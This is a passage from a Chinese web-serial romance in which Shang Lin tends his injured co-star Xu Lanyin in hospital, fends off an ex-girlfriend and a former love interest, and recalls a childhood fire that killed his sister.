原本不想接,但他眼皮跳了跳,不知怎么的有种不好的预感,便按下接听,对面传来的却是个焦急的陌生男人声音。
商璘都不知道自己是怎么到医院的,一路上手都在控制不住地颤抖,护士问他找谁,他好一会儿才控制自己的发声器官说出了许兰因的名字。
许兰因在抢救,给他叫救护车的好心人没走,商璘强作镇定,上前感谢,一脸疲惫的中年男人却不知为何非常惶恐:“没、没什么的,只是举手之劳,是我该做的……”
商璘道:“事故的原委您知道吗?”
“不知道!”男人情绪明显激动,他自己也察觉到了,吸了口气,平静了下才说:“我、我就是路过,看见他倒在路上,所以就、就叫了救护车。”
“非常感谢您。”商璘道:“我现在有些忙,可以留下您的号码吗?等我朋友急救结束后我再联系您,登门致谢。”
“不用!”男人连忙摆手,“你真不用谢我,我还有事我先走了。”
他匆匆走出去几步,又忽然停下来欲言又止地看着商璘,商璘:“您有什么事要跟我说?”
男人低声问:“里面那个人,是你朋友?”
商璘点头。
男人表情极其复杂,道:“听我一句劝,离他远点。”
这人脑子不正常,绝对是个疯子!
但男人也不敢多说,裹紧衣服几乎是跑着离开了医院,像是要把什么恶鬼修罗甩开。
商璘颓废地坐在医院长廊里。
夜里的医院也很吵闹,到处都是哭声和尖叫,吵得商璘耳朵疼,他一直看着手术室门口亮着的红灯,没察觉差点将自己的掌心掐出血。
……还是不该把话说得那么绝情的。明知道许兰因对他有所依恋,他还跟许兰因说什么结婚生子……如果就是因为情绪太激动许兰因才出了车祸,这份罪他要如何去赎?
这件事也可能只是一场单纯的意外,可无尽的愧疚还是将商璘包裹了起来,让他连呼吸都困难,脸更是苍白得跟鬼一样。
不知过了多久,急救室的门终于打开,商璘猛地站起来,却又迟迟不敢迈步。
他竟然不敢去问一个结果。
“请问你是许兰因家属吗?”医生询问。
“……是,我是。”商璘喉头发苦,“我是他哥。”
“伤者目前生命体征稳定,不用担心。”医生安抚道:“不过他全身有多处软组织挫伤,左腿腓骨闭合性骨折,需要好好修养。另外需要观察的是大脑是否有损伤。”
商璘骤然松了口气,后背已然全是冷汗。
“好……”商璘说:“他现在醒着吗?”
“做缝合手术打了麻药,人有些昏沉,睡着了,已经转去普通病房,你去把手续办一下,就可以去看看他了。”
商璘忙对医生道谢。
他跑完手续,将许兰因转去单人病房,推门进去的时候见他躺在床上,脸上贴了好几个药棉,手臂上缠着绷带,左腿上还打了石膏。冷色灯光洒满室内,衬得一片白色更显冰冷。
商璘在床边坐下,握住许兰因的手,将额头抵在他冰冷的手背上,眼眶发酸。
许兰因体温比常人高,永远暖洋洋的,什么时候这么冰凉过。
现在他躺在这里,呼吸平稳,倒是真像小唐所说的那样,又乖又可爱了。
“小璘哥。”病房里忽然响起沙哑的声音,“你哭了吗?”
商璘立刻抬起头,许兰因正眨巴着眼睛看他。
“没有。”商璘说:“我怎么可能会哭。”
许兰因弯起唇角:“是哦,我认识你这么久,从没见你哭过。”
他偏偏头,“那小璘哥,要是我死了,你会为我哭吗?”
商璘面无表情,一把按在他胳膊的伤上,许兰因立刻疼得龇牙咧嘴,“小璘哥!”
“再胡说八道试试。”商璘警告。
“看你那么难过,开个玩笑嘛。”许兰因拉长了声音,“我想喝水。”
商璘端过杯子,自己先喝了口确认水温合适,这才给许兰因喂。许兰因醒了就不安生,一会儿动动胳膊一会儿动动腿,“我要这样躺多久啊?”
“医生说你年轻,恢复快,皮肉伤和骨折都比较好养,主要是得住院观察大脑是否有损伤。”
许兰因眨眨眼睛,“那我是有可能失忆吗?”
商璘顿了顿,才说:“是有这种可能。”
“幸好没失忆。”许兰因挑眉,“我可不想忘记你。”
“……”商璘没理会,问他车祸到底是怎么回事。
“我不记得了啊。”许兰因满脸无辜,“你突然说自己要结婚生孩子,把我丢下就走,我自己开车离开了。之后的事情我没什么印象,你说有没有可能我其实还是失忆了,把那段记忆忘掉了?”
商璘去询问医生,医生说这种情况是有可能发生的。
现在当事人不记得,目击者没看见,行车记录仪坏了,那段路又没有监控,只能不了了之。
商璘却气得不轻。
许兰因还反过来安慰他:“医生说我脸上的伤不会留疤,还是可以继续靠脸挣钱的嘛。”
商璘:“身上的伤不疼吗?”
他身上大点的伤口缝了十几针,怎么可能不疼。
许兰因却笑嘻嘻道:“不怎么疼。”
商璘冷声:“那是因为打了麻药,蠢货。”
等麻药劲儿过了疼死这个小蠢货。
“那小璘哥。”许兰因勾着商璘的手指,“你今晚能留在这里陪我吗?我怕晚上做噩梦。”
“我本来也没准备走。”看他那样子,商璘完全狠不下心,给他拉了拉被子,又轻轻拍了拍,温声说:“睡吧,我就在这里。”
许兰因定定看了他好一会儿,似乎是要确认他真的不会走,这才闭上眼睛。
第二天醒来的时候,许兰因一睁眼就看见了商璘。
因为他就趴在他病床边上睡着了。
春日阳光最显多情,落在商璘侧脸上,勾勒出立体漂亮的眉眼鼻梁,好像为这生人勿近的冷淡轮廓也添了几分柔情。
商璘的长相是看上去很不好接近的类型,冷峻
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而凌厉,和他的性格不太一样。许兰因听尹佳阳说过,商璘以前念书的时候有很多人喜欢他,男的女的都有,但他们都只敢默默喜欢,连情书递出去都不敢写上自己的名字。至于塞进他课桌里的糖果巧克力,那就更加找不到主人了。
他确实有这样的魅力。
许兰因修长的手指沿着他立体的眉骨轻轻划过,停在眼角。
其实昨晚上他看见了,商璘的眼睛里分明有水光。
就这么在意他吗?
“许兰因?”商璘缓慢睁开眼,“醒了怎么不叫我。”
“刚醒。”许兰因晃晃他的手,“你抓着我的手睡的诶。”
“给你压麻了?”
“没有。旁边有床,你怎么在这里睡?”
商璘站起身伸了个懒腰,漫不经心:“不是你说害怕做噩梦?握着你的手让你知道自己不是一个人,做噩梦也不会害怕。”
许兰因忽然抿紧了唇。
商璘这人可真是……他要对一个人好的时候,真是能让人溺死在他眼睛里。
“早餐想吃什么?”商璘问:“苏姐他们说要来看你,顺便带早饭。”
“我不需要他们来看我,你来看我就行了。”许兰因撇嘴,“让他们别来了。烦。”
看在许兰因现在是伤患的份儿上商璘没批评他的不礼貌,说:“告诉你一个更不好的消息。”
“?”
“昨天被送来急救的时候狗仔拍到了,你粉丝担心的不行,待会儿要拍照发微博报平安,而且还会有一堆人来探望你。人家是好心,别摆脸色。”
许兰因脸很臭:“什么好心,都是面子功夫。”
“就算是面子功夫,人家做到了那你也要做到。”商璘拿着手机回消息,“快点,苏姐在早餐店等着你点餐。”
许兰因不情不愿说了个鱼片粥。
因为待会儿要见人,商璘把自己和许兰因都拾掇了一番。洗漱的时候许兰因很不配合,一会儿要商璘给他挤牙膏一会儿要商璘给他拧毛巾一会儿又要商璘抱,要是平时商璘肯定给他头打掉,但是现在许兰因一身的伤,他忍了。
来人探病自然又是一番嘘寒问暖,除了苏纭外,还有一堆圈里的艺人、品牌商、粉丝代表……几十号人进进出出,热闹非凡,花篮果篮房间里都要堆不下了,各种补品更是不用多说。
好不容易送走公司派来慰问的领导,许兰因瘫在床上生无可恋,喃喃:“不如撞死我呢。”
商璘:“你就躺那儿,迎来送往都是我,你在狗叫什么。”
许兰因:“看他们折腾你我不爽啊,我都说直接让他们滚了。”
忽然敲门声响起,许兰因暴躁道:“刚不是说了最后一拨吗!怎么又有人来?!”
商璘让他别乱说话,拉开病房的门。
门口站着个长卷发的小姑娘,手里抱着一大捧粉玫瑰,五官漂亮妆容精致,柔声问:“请问这里是许兰因的病房吗?”
许兰因有过很多女朋友,商璘见过的一只手都能数完,恰好这一位,他见过。
许兰因还在问:“谁啊?”
商璘侧开身,让小姑娘进来,语气淡淡:“你女朋友。”
17.第 17 章
商璘说:“你们聊,我出去走走。”
小情侣见面,他杵在这里也不合适。
“你走干嘛。”许兰因眉头紧皱,“小璘哥我想喝水。”
商璘觉得许兰因简直莫名其妙,但是因为女孩子在,他给许兰因留面子,没说什么,去倒了杯水。
“找我有事?”许兰因盯着那姑娘。
“我来探病啊。”姑娘说:“营销号说你被大卡车碾了好几道,下了几次病危通知,是禾光斥巨资从国外请了特别厉害的医生连夜飞回来做手术才抢救回来的。”
“……”许兰因冷笑:“被大卡车碾了好几道我都成肉泥了,还能跟你说话呢?洛芍,有话就直说,少兜圈子。”
洛芍把手里的花放在床头柜上,叹口气道:“你看不出我是在示弱,服软,想要跟你复合吗?”
商璘:“。”
要是没记错的话许兰因一个月前才跟洛芍在一起,这又是什么时候分的?
许兰因:“好马不吃回头草。”
洛芍噘着嘴:“当时跟你发脾气是我不对,我都跟你道歉了,你还要怎么样呀。而且我说的也没错啊,你那是跟我谈恋爱吗?确认关系一个月我见你不超过三次。”
商璘有点疑惑,因为两人要解绑,工作减少了很多,按理说许兰因应该有更多时间去陪女朋友才对,怎么两人还因为这个闹分手?
“忙呗。”许兰因漫不经心地回:“我们这行不就这样。”
“我以前谈的怎么都没你这么忙?”
“你以前谈的也是顶流?”
“……”
商璘颇感头痛。
这两人吵架跟过家家似的,他实在不想继续听下去了,手刚搭上门把手,就听洛芍爆发了:“行,这些我就不跟你计较了,我就问你一个问题——”
“你为什么不跟我上床?!”
“咳!”商璘差点被自己的口水呛死。
洛芍是忘了他还在这里吗?
许兰因本来就烦,不爽道:“你就为了问这个?”
“我跟你谈不就图你这张脸吗?”洛芍翻了个大大的白眼,“不然图你什么,脾气烂幼稚鬼自恋狂??”
“……”许兰因气得掀开被子要下床,商璘喝止他:“你要是再乱动我让医生用束缚带把你绑床上。”
许兰因眼泪汪汪:“小璘哥你就看着她这么说我!”
商璘瞥了洛芍一眼,“人家也没说错。”
许兰因:“……”
“许兰因,我最后给你一次机会。”洛芍说:“你要不要跟我复合。”
“复你爹的头。”许兰因恶语伤人,“带着你的花一起走。”
洛芍这下气得眼睛都红了,抓起那捧粉玫瑰用力砸在许兰因身上,怒骂:“你这个人渣!”
三十几朵玫瑰加上花泥重量还是相当可观,许兰因当即闷哼了一声,咬牙切齿:“我要报警抓你,你这是故意伤害。”
洛芍:“我他妈没抽你就不错了!”
她转头就走,高跟鞋蹬蹬蹬地无比响亮,商璘连忙追上去,“洛小姐……”
洛芍头也没回,哽咽问:“你是来帮他说好话的吗?”
“不是。”商璘将手里的东西递出去,“你包忘拿了。”
洛芍转过头,满脸都是眼泪,她胡乱擦了一把,“我就知道那个王八蛋不可能让人来挽留我……呜呜呜呜,他简直就是个混蛋。”
商璘说:“对不起。”
“明明是他的错,你为什么要道歉?”洛芍吸了吸鼻子,仰起头看着他,“商璘,你人真好。”
商璘:“……谢谢?”
洛芍一把抱住商璘的腰,“呜呜呜呜。”
商璘:“?”
他是想把人推开的,但又感觉到女孩的眼泪打湿了自己的衣襟。她是真的很难过。
商璘轻叹口气,迟疑地在她背上拍了拍,“你跟许兰因交往前,没听过他的名声么。”
“我知道啊。”洛芍带着哭腔说:“当时总觉得自己是特别的那一个。现在才明白,他的每一个前任,大概都觉得自己是特别的那个。”
商璘心口一痛。
像是被一只无形的大手猛然攥住,窒息的疼痛铺天盖地而来,让他身体轻微地发起抖来。
是啊,人人都觉得自己是特别的那个,人人都觉得自己可以教浪子回头。
他和现在哭得稀里哗啦的洛芍,其实并无不同。
只是洛芍可以肆无忌惮地骂许兰因,可以哭出来,他不可以。
许兰因给了她名分,给了她希望,她哭得理所当然。
但许兰因什么都没有给他,一直以来,都是他的妄想。
“别哭了。”商璘声音很轻,像是一阵风,“为了他不值得。”
洛芍哭得撕心裂肺。
商璘只好站着任由她发泄情绪。他给许兰因收拾烂摊子习惯了,也没觉得哪里不对。
直到许兰因杵着拐杖出现在病房门口怒喝:“洛芍你放开小璘哥!!”
洛芍刚还埋在商璘怀里哭唧唧,听见许兰因的声音立刻吼回去:“我在跟我的新男朋友说话要你管!”
“……”商璘说:“你们再大吵大叫,其他病人会投诉。”
许兰因瘸着腿气势汹汹冲过来将商璘拽回自己身后,嗤了一声:“新男朋友?你少做梦了,人家有求而不得的白月光。”
洛芍还要反击,许兰因冷冷道:“再不走我叫保镖赶你走。”
洛芍咬了咬唇,骂了句垃圾,拎着自己的包进了电梯。
商璘:“你态度真的很差。”
“我们都分手很久了。”许兰因不可置信:“她还当着我的面抱你?”
商璘不知道这里面哪条是许兰因态度恶劣的原因,他也不想掺和情侣之间的破事,扶着许兰因说:“赶紧进去,让医生看见了肯定挨骂。”
许兰因顿时整个人没骨头似的挂在商璘身上哼哼唧唧:“腿好痛,身上也好痛,脑袋也痛。”
商璘骂他:“谁让你起来的。”
把人送进病房后他又赶紧叫医生来看了看,所幸没出什么问题。把医生送走,商璘转头就见许兰因在盯着自己。
“?”
许兰因说:“小璘哥,洛芍是不是长挺漂亮的?”
商璘垂下眼睫,淡声说:“嗯。”
人家姑娘泪眼盈盈地来求复合,许兰因就是铁石心肠也应该……
“她真让你做她男朋友了?你心动了?”
商璘:“……?”
许兰因揪住商璘的衣领,像是个质问丈夫是否出轨的妻子,盯着他的眼睛:“不然你干嘛让他抱?现在我抱你你都要凶我!”
商璘一把拽开他的手
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,皱眉道:“发什么神经,她是你女朋友。”
“前女友。”
“就算是前女友我也不可能跟她有什么。”商璘无语,“她只是太难过了而已。”
许兰因:“才见过几次,她能有多喜欢我?”
商璘忽然沉默下来。
许兰因不知道自己哪里又说错话了,抿起唇,“小璘哥?”
“……许兰因。”商璘说:“这世上有人白首如新,有人倾盖如故,喜不喜欢不是见了几次面来衡量的。或许还有人仅仅因为你做过的一件很小的事而一直爱着你。”
从什么时候开始爱着许兰因?
是两年前《单向奔赴》拿奖的时候,公司开庆功会。禾光原本没对他们抱有希望,《单向奔赴》完全是那年夏天杀出来的一匹黑马,火得非常突然,谁也没有预料。
禾光作为专业的经纪公司,当然不会放过这波热度,趁机给商璘营销造势,在商璘本人完全不知道的情况下在庆功会上公开了他的家庭情况。
商璘的家庭其实乏善可陈,比起其他小孩子唯一的不同之处大概就是他五岁那年,经历了一场大火。
那场火的起因是楼上有人抽烟乱扔烟头,夏天本就天干物燥,窗户的遮阳棚上又散落了不少垃圾,全是易燃物,烧起来不过是几分钟的事情。
工作日的下午,在家的大部分都是老人和小孩子,谁也没想到那么一个平凡的午后会迎来一场熊熊烈火,狭小逼仄的的单元楼甚至连逃生都困难。五岁的商璘和他九岁的姐姐商裳是在午睡中被浓烟呛醒的,两人清醒过来时已经被烈火包围。
那个年纪的孩子对死亡还没有什么概念,也就谈不上多畏惧,商璘被姐姐抱在怀里,不知道是吸入了过量的浓烟还是因为火焰的温度太高让人大脑无法运转,等待救援的那段时间里他脑袋里其实只有“痛苦”这一个念头。
姐姐安慰他,说:“阿璘,爸爸很快就会来救我们了。”
商璘的父亲是消防员,他确实也参与了救火。但在救援时,他优先选择了将隔壁邻居家的孩子抱走,等其他人找到商璘时,他已经奄奄一息。
商裳死在了那场火灾中。
时至今日,商璘仍旧不知道,如果父亲当时选择先打开家里这扇门,选择先救他们,姐姐能不能活下来。
喉咙灼痛、呼吸困难、气道痉挛、头痛、恶心、浑身乏力、意识模糊……还有姐姐在耳边不停地让他不要睡不要睡一定要睁着眼睛,那就是商璘关于这场火灾全部的记忆。
可商裳自己永远闭上了眼睛。
火灾之后,父亲因为英勇救人获得了公开表扬,幸存者家属为他写感谢信、送去锦旗,媒体称赞他的无私,只有商璘和母亲坐在家里看着商裳的黑白遗像发呆。
或许薛海雁也像商璘一样,无数次设想,如果父亲先推开家门,姐姐就不会死。她情感上无法接受丈夫的选择,甚至在时间的流逝中,丈夫渐渐变成了女儿死亡的帮凶。
他们开始经常吵架,家里不是父亲的咒骂就是母亲的哭泣,终于,商璘八岁那年,他们离婚了。
商璘毫不犹豫选择了跟着母亲离开,搬进了外公外婆留下的小房子。那之后再跟父亲见面,已经是他再婚的婚礼上。
商璘不知道该不该怨恨父亲,但那场燃烧了他整个童年的烈火,终究成了他一生都无法摆脱的噩梦。
18.第 18 章
但他的噩梦,在公司眼里显然是绝佳的营销点。
拥有一个英勇的、无私的父亲,大众天然就会对这样的艺人产生好感。所以哪怕商璘再三拒绝,庆功会上,公司还是播放了特意剪辑的短片。熊熊燃烧的烈火、哭泣的孩童、从火海中挽救生命的战士……每一帧都能击中人心底里最柔软的地方,配上主持人煽情的解说,现场不少人潸然泪下,盈盈泪眼看向商璘,里面全是同情和敬佩。
但商璘不需要那些东西。
他甚至觉得那些友善怜悯的目光就像是当年那把从未熄灭的火,终究也会将他吞噬、焚烧,变成一捧无人在意的灰烬。
众目睽睽,聚光灯下,一片掌声,主持人将话筒递给商璘,鼓励地看着他,邀请他上去说两句。商璘大脑一片空白,什么都无法思考,但这样的场合,气氛已经烘托到了这里,他的手下意识伸出去,想要接住话筒——
没人知道那短短的几秒之间,商璘全身的每一个细胞都在疯狂尖叫逃离这里,逃离这属于英雄后裔的舞台,可他就像是一台生锈的机器,面对疯狂闪烁的镁光灯,他什么都做不到。
直到手终于要碰到话筒时,有人一把抓住了他手腕,商璘骤然回神,看见许兰因的脸。
明明被迫回忆过去的是自己,许兰因的脸色却极其难看,他说:“小璘哥,你想走吗?”
主持人惊呆了,连忙小声说:“这可是全网直播,兰因你不要乱来……”
但许兰因根本就没有理会他,而是认真而专注地看着商璘,又问了一遍:“小璘哥,你想走吗?”
商璘一句话都说不出来。
他浑身都在被谁也看不见的火灼烧,抖得厉害,拼尽全力也就只是点了一下头。
后来很久之后,商璘回忆起那天,都会觉得那时候的自己肯定很狼狈、很难看,否则许兰因也不会忽然用力抱住他,像是要将自己的勇气分享给他。
然后在所有人错愕的眼神和惊呼中,许兰因拉着他的手跑出了宴会厅。将一切感动流涕也好兵荒马乱也好,统统丢在了身后。
爱上一个人的契机好似就是这样简单。
就如商璘爱上许兰因,便仅仅因为满堂掌声和泪水中,唯有许兰因愿意握住他的手,带他出逃。
“别人我不知道,洛芍肯定不爱我。”许兰因撇嘴,“她只想睡我。”
商璘回过神,说:“你又知道她不爱你。”
“我当然知道。”许兰因忽然笑了,他慢悠悠抛着手里的苹果玩儿,嗓音里竟然有种天真的残忍:“我知道一个人全心全意爱我时,会用什么样的眼神看着我。”
商璘微怔。
他将苹果从许兰因手里拿走,“不吃就不要玩儿。”
许兰因要撒娇让他帮忙给自己削苹果,忽然病房门又被人敲响了。
这次是非常礼貌规矩的三下,不轻不重,不长不短。
商璘有点烦。
之前是前任,现在来的是现任?
他将苹果直接塞进许兰因嘴里,拉开门,门外的人却在他的意料之外。
伏越泽说:“我来看看兰因。”说完还晃了晃手里的鲜花。
一捧万华镜绣球。
商璘皱了下眉,站在门口没让开,道:“他受伤了。”
“我当然知道他受伤了。”伏越泽微笑道:“不然我怎么会来探病?”
“你们见面就吵架。医生让他静养,最好不要动气。”商璘说:“心意领了,小伏总请回吧。”
伏越泽勾起唇角,仍是笑着,那笑意却半点不达眼底,盯着商璘,“你不觉得你太溺爱许兰因了?”
“……”
伏越泽将商璘推开一点,走进病房,眸光从许兰因打了石膏的腿上划过,将花放在了床头,
许兰因不冷不热:“公司已经派代表来过了,小伏总贵人事忙,何必亲自跑一趟。”
“你是公司商业价值最高的艺人之一,当老板的当然要亲自老来看看才放心。”伏越泽道:“知道你收了不少补品水果,我就带了捧花。”
许兰因:“不喜欢这玩意儿,拿走。”
“别人喜欢就好。”伏越泽居高临下地打量许兰因,“看着精气神都不错,应该确实没有大碍,好好养着吧。”
“我说……”
“商璘。”伏越泽偏头看向商璘,“有点工作上的事,我们出去说吧,就不在这里打扰兰因了,让他好好休息。”
商璘嗯了声,给许兰因掖了掖被角,道:“我回来再给你削苹果,老实待着。”
“哦。”
伏越泽停在走廊拐角处,VIP病房这层本来就没多少人,这里更是安静,放了一盆不知名的绿萝,也不知道是不是因为长期存活在这种环境中,叶片蔫蔫儿的,雾蒙蒙的,半死不活的样子还挺让人心酸。
“小伏总。”商璘道:“如果你是想跟我谈续约的事,那你可以走了。”
“今天不说这个。”伏越泽靠在墙壁上,懒散道:“之前闹那么凶,要跟许兰因解绑,要跟他切割,结果他出个车祸,你又眼巴巴地凑上来嘘寒问暖……阿璘,你这样要怎么办啊。”
商璘:“他没爹没妈,我不管他谁管他?”
伏越泽:“想要给他端茶倒水的人多的是,用得上的你?”
商璘手指蜷缩了一下,侧头避开伏越泽的视线,“那是我的事,跟你没关系。”
“你对许兰因总是狠不下心。”伏越泽忽然说:“对我倒是挺狠心的。”
商璘眼皮一跳。
伏越泽笑起来,“好歹也认识十多年了,不用这么冷漠吧?不谈恋爱,连朋友都没得做?”
“你他妈……”
伏越泽打断他:“怎么了,我是你前男友,这么不想承认吗?”
“。”商璘逆光站在窗边,那瞬间伏越泽并没有看清楚他的表情,只是过了几秒钟,商璘往窗框上一靠,莞尔:“小伏总,跟我承不承认有什么关系,因为你本来就不是啊。”
伏越泽抿紧唇。
“你没有选我,不是吗?”商璘微微偏头,讥诮地:“我可没有你妻子那么大度,能容忍你在公司一直玩儿潜规则。”
伏越泽:“我们两年前就已经离婚了,我以为你知道。”
“我为什么要知道。”商璘皱起眉,“伏越泽,我以为我已经跟你说的很清楚了。你要遵从家里的命令结婚,OK,我祝福你,我是不是还
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跟你说了新婚快乐?我这人就是这样,如果我们不能在一起,那就连朋友都不要做,所以我彻底离开你的生活,如果知道禾光的负责人是你,我根本不可能跟禾光签约……”
“——如果不能在一起,那就连朋友都不要做?”伏越泽忽而冷笑,猛然逼近,紧紧抓着商璘的手臂,“那你在第一次去见许兰因女友的时候就该跟他一刀两断,而不是磨磨蹭蹭拖延至今还鞍前马后地照顾他!商璘,你对着许兰因一次又一次的犯贱,到我这里就是连朋友都不要做?”
商璘几乎将自己的嘴唇咬出血。
他想,伏越泽这话说的真难听。但他也知道,伏越泽说的很对。
按照他的性格,在许兰因给他介绍女友时,就该跟许兰因划清界限,即便因为工作的原因不能立刻分开,也会谨守底线,和许兰因保持距离。
拖到现在,好不容易狠下心,做了决定,要远离许兰因,要放许兰因自由,但一场车祸,他又重蹈覆辙。
明明他不是这样的人。
“商璘。”伏越泽嗓音有些低哑,“你真的喜欢过我吗?”
“你没给我明晰自己心意的机会。”商璘平静说:“我想要跟你试试的时候,你结婚了。”
“那现在就不可以了吗?”
“……伏越泽。”商璘将自己的手腕挣脱出来,“我们都三十多岁,不是小孩子了。就算十年前我喜欢你,十年后的我不……”
“可我还喜欢你。”伏越泽说:“商璘,我一直喜欢你。”
商璘一时间愣住了。
岁月真是奇妙。十年前想听却没能听到的话,反倒在十年后的今天听见了。只是世事无常,物是人非。
“没有人会一直停在原地等你。”商璘说:“伏越泽,你总这样自私。”
他看了眼腕表,出来已经快十分钟了,许兰因可能会发癫,他得先回去看看……
“你干什么?!”刚走出去两步,商璘就被按在了墙壁上,他十分反感这个姿势,眯起眼睛冷冷道:“放开。”
“你这样的区别对待,是因为你没那么爱我。”伏越泽在商璘耳边说:“如果是许兰因跟你说他要回家结婚,你会怎么做?——跟他说新婚快乐然后各自白头?商璘,你能骗得了自己,但你骗不了我,你不可能放他走。”
商璘额角青筋跳了跳,彻底动了怒:“少在这里发疯,现在立刻放手,否则我让你也在这里躺几天。”
伏越泽没放手,而是莫名其妙说了句:“有没有人跟你说过,从这个角度看过去,周鹤有几分像你。”
商璘耐心彻底告罄,一拳砸在他腰腹上,伏越泽瞬间就尝到了喉咙里涌上来的血腥味。
他眸光凶狠,盯着伏越泽:“你以为我真不会对你动手是不是?”
“这么生气?”伏越泽边笑边咳嗽,按着商璘的肩膀道:“那我说个会让你更生气的。”
“我跟周鹤上床的时候,脑子里想的全是你。”
“……”商璘这次直接揍了他的脸,不可置信道:“你这个——”
“小璘哥。”不远处响起一道阴郁的声音,许兰因站在走廊上,看着几乎是抱在一起的两人,面无表情:“干什么呢。”
19.第 19 章
之前洛芍抱着商璘的时候,许兰因怒气冲冲,像是恨不得直接把洛芍撕开。商璘不想他和伏越泽再起冲突,已经做好了制止许兰因发疯的准备,但意料之外的,许兰因只是站在那里,没有过来,也没有表情。
春光明媚,从窗外照进来,商璘和伏越泽皆沐浴其中,唯有许兰因一个人站在阴影里,伶仃,又阴冷。
商璘心口一跳。
莫名的,他感觉不太舒服。
他甚至觉得,眼前之人,不是他认识的许兰因。
“叙旧而已。”伏越泽抬手用手背擦去唇角的鲜血,也不知道是不是因为生在从小就需要迎来送往的商贾之家,哪怕这个时候他脸上也挂着几分虚假的笑意,眸光越过商璘肩头,紧盯着许兰因,“倒是你,受了伤就好好躺着啊。”
许兰因淡声道:“小璘哥。”
“……”商璘走过去搀住他,道:“回病房。”
“感觉小伏总有话要跟我说。”许兰因说:“你先回去等我吧。”
商璘立刻反对:“你跟他能有什么好说的?”
“最多五分钟。”许兰因放软了语气,像是一只小狗般蹭了蹭商璘的颈窝,“五分钟之内我就回来。”
商璘还是觉得古怪,但许兰因都这么说了,他再反对也没用。
“小伏总。”商璘看向伏越泽,警告道:“许兰因现在是伤患。”
伏越泽莞尔:“在你眼里我竟然是这么恶劣的人啊。”
“也没差了。”商璘把自己的外套脱下来给许兰因披上,低声说:“五分钟。”
许兰因点头。
等商璘走了,伏越泽偏头点了支烟,问许兰因:“抽吗?”
“这里不让抽烟。”
“哦。”伏越泽吐出口烟,“什么时候这么有公德心了。”
“我的确没有那种东西。”许兰因说:“小璘哥待会儿在我身上闻见烟味会生气。”
伏越泽动作轻微地一顿,他原本靠在窗边看外面的车水马龙,此时终于转过头来,正视许兰因,“再过两个月你合同就到期了,我可以放你走。”
许兰因:“这么大方。”
“离商璘远点。”伏越泽说。
许兰因笑了。
他笑起来真就像是这春日里的阳光,明媚又温暖,嗓音也慢悠悠的:“小伏总,跟小璘哥还有段可歌可泣的过往呢?”
伏越泽忽然抿紧了唇。
他惊觉那些事情竟然已经过去了十多年,那么漫长的时间,足以让一个人面目全非。可如今他站在这里,回想过去,鲜明如昨。
“跟你没关系。”伏越泽深深吸了口烟,借由焦油和尼古丁镇压心口的烦闷和躁郁,其实他很少会有这样的情绪,以至于陌生至极,手足无措。
“五分钟快到了。”许兰因笑了一声,“我要回去了。”
伏越泽:“你他妈……”
许兰因毫无预兆地:“伏越泽,我们不会解绑。”
“死也不会。”
他说完杵着拐杖一瘸一拐地远去,留伏越泽独自站在窗边,手中的烟头燃尽,几乎烧到了手指。
伏越泽低咒了一声,将烟头摁灭扔进垃圾桶,用力揉了把脸。
竟然在许兰因这个小崽子面前如此失态——
伏越泽深吸了两口气,放下手的手已经恢复了冷静,他整理了一下衣领,坐电梯下楼,一群保镖正在等着,坐在轮椅上的老太太看着人来人往的医院大厅,也不知道在想什么。
“伯祖母。”伏越泽上前从保镖手中推过轮椅,“您不上去看看?”
老太太摇头。
她戴着厚厚的羊绒帽子,瘦弱得似乎只剩下一副骨架,任谁看见了都会知道她已经时日无多,大脑反应也有些慢,好一会儿才说:“他跟他爸,一样。”
伏越泽道:“长得不太像。”
老太太又开始发呆,伏越泽推着她离开医院,她又忽然转头看向医院的住院部,喃喃说:“长得像他妈妈。”
伏越泽:“是很像。”
“他伤的严重吗?”
“还能从床上爬起来跟我吵架,应该不严重。”
老太太不再说话,闭上眼睛。
伏越泽知道她现在的精力非常有限,今天这趟出行对她来说其实有很大的风险。他也知道自己现在该说点什么或者做点什么,但他看着迟暮的老人,只保持了一路的沉默。
……
商璘做好了许兰因会质问自己的准备,但许兰因回到病房的时候还挺平静。
“没跟伏越泽吵架吧?”
“没有。”许兰因在床上躺下,噘嘴说:“小璘哥,腿疼。”
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“……”商璘啧了声,“你还知道疼。”
“你不是说要给我削苹果吗?”
没想到他还惦记这事,商璘只好去洗了手和苹果,坐在床边给他削苹果,他手巧,全部切成小兔子的形状。
算是哄许兰因。
许兰因默默吃苹果,商璘终于受不了了,“许兰因。”
许兰因一口咬掉兔子头,“昂?”
“你有想问的就直接问。”商璘说:“摆出这副样子给谁看。”
许兰因慢吞吞地说:“是你的私事,也可以问?”
商璘:“……不可以,我走了。”
“好吧。”许兰因一把抓住他的手,“其实我确实很想问。”
他眼巴巴看着商璘,“小璘哥,伏越泽是你前男友啊?”
“不是。”商璘淡声说:“没谈过。”
“那他那副要死要活的样子?”
商璘有点不知道该怎么说,在混乱的大脑里整理了好一会儿,才说:“我和他是大学同学,一个篮球队认识的。”
并没有什么轰轰烈烈的过程,也没有多浪漫的相遇,只是年少时遇见了,成了朋友,又对彼此有了感情。
不过这份感情还没有开花,就已经被伏越泽亲手掐断。
“我们拍毕业照那天。”商璘回忆说:“我本来想问他,我们算是什么关系。”
“只是还没问出口,他就先给了我一张婚礼请柬——他要结婚了,跟家里选好的联姻对象。”
商璘大脑一片空白,不知道自己当时是什么样的表情,只依稀记得说了“祝你新婚快乐”之类的话。那之后他就删了伏越泽一切联系方式,再也没有听到过他的半点消息。
现在想想,伏越泽也没说错。
他那么干脆地离开,是因为没那么喜欢。
他甚至已经无法想象当年要是自己真的跟伏越泽在一起了会是什么样子。
“他还喜欢你。”许兰因笃定地说。
商璘没说话。
但他想。
小伏总风流,一个商璘算什么,值得他记挂十年。
“小璘哥。”许兰因又拉长了声音,“我还有最后一个问题。”
“嗯?”商璘抬起眼皮,“说。”
“你那个求而不得的白月光,是伏越泽吗?”
20.第 20 章
商璘觉得有些好笑。
伏越泽和求而不得的白月光……这两个词组合在一起怎么看怎么奇怪吧。
他刚要说话,忽然手机响了,是薛海雁女士的来电。
商璘皱了下眉,他已经知道母亲要说什么,但这个电话不得不接。
于是他给许兰因做了个噤声的动作,点击接听。
“阿璘。”薛海雁应该是在公园散步,能听见远处孩童的笑声,她说:“明天就是周六,你可别忘了。”
“我……”
“你又要说工作忙?”薛海雁抢先道:“上次你那么轻易就答应了我就知道有鬼,果然临到头了又再三推辞,我已经问过小苏了,你最近根本不忙。我都跟那个姑娘的妈妈说好了,你要是不去,我以后还怎么跟人家一起跳广场舞?”
“……”
商璘抿紧唇。
随着年龄的增长,薛海雁想要抱孙子的愿望越发迫切。她思想观念很传统,又几乎不接触网络,所以至今都以为商璘和许兰因真就是关系好的同事。
